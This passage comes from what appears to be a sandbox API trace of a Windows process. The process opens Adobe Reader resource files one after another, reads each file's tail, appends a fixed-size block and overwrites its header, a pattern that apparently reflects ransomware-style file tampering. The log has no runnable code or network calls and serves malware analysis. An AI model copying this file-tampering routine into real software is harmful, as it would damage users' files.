| out: lpMultiByteStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 42 [0042.741] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.742] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5594 [0042.743] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.743] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5594 [0042.743] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.743] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.744] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.744] CloseHandle (hObject=0x1d4) returned 1 [0042.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.744] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.744] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6dd6 [0042.744] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.745] ReleaseMutex (hMutex=0x128) returned 1 [0042.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE.txt", lpUsedDefaultChar=0x0) returned 30 [0042.745] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.746] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5dd6 [0042.746] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.747] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5dd6 [0042.747] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.748] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.748] CloseHandle (hObject=0x1d4) returned 1 [0042.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0042.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6ba2 [0042.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.749] ReleaseMutex (hMutex=0x128) returned 1 [0042.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro.txt", lpUsedDefaultChar=0x0) returned 27 [0042.749] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.113] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ba2 [0043.113] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.114] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5ba2 [0043.114] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.114] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.114] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.114] CloseHandle (hObject=0x1d4) returned 1 [0043.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.115] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7144 [0043.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.116] ReleaseMutex (hMutex=0x128) returned 1 [0043.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0043.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_FI.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0043.116] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.117] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6144 [0043.117] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.118] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6144 [0043.118] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.118] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.118] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.118] CloseHandle (hObject=0x1d4) returned 1 [0043.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7ff4 [0043.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.134] ReleaseMutex (hMutex=0x128) returned 1 [0043.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara32.clx", lpUsedDefaultChar=0x0) returned 9 [0043.134] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.143] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6ff4 [0043.143] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.143] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6ff4 [0043.143] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.144] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.144] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.144] CloseHandle (hObject=0x1d4) returned 1 [0043.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz40.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz40.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.145] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.146] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x17df6 [0043.146] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.146] ReleaseMutex (hMutex=0x128) returned 1 [0043.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz40.hsp", lpUsedDefaultChar=0x0) returned 9 [0043.146] ReadFile (in: hFile=0x1d4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.148] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x16df6 [0043.148] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.149] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x16df6 [0043.149] WriteFile (in: hFile=0x1d4, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.149] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.150] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.150] CloseHandle (hObject=0x1d4) returned 1 [0043.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.150] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.151] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6f4 [0043.151] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.151] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.151] ReleaseMutex (hMutex=0x128) returned 1 [0043.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.fca", lpUsedDefaultChar=0x0) returned 7 [0043.151] ReadFile (in: hFile=0x1d4, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6f4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x354f2bc*=0x6f4, lpOverlapped=0x0) returned 1 [0043.152] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0043.152] WriteFile (in: hFile=0x1d4, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0xc7c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x354f2d0*=0xc7c, lpOverlapped=0x0) returned 1 [0043.152] CloseHandle (hObject=0x1d4) returned 1 [0043.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.153] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.153] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe000 [0043.153] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.153] ReleaseMutex (hMutex=0x128) returned 1 [0043.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.hyp", lpUsedDefaultChar=0x0) returned 7 [0043.153] ReadFile (in: hFile=0x1d4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd000 [0043.156] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.157] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd000 [0043.157] WriteFile (in: hFile=0x1d4, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.157] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.157] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.157] CloseHandle (hObject=0x1d4) returned 1 [0043.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut102.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut102.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.158] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.158] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5c06a [0043.158] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.158] ReleaseMutex (hMutex=0x128) returned 1 [0043.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 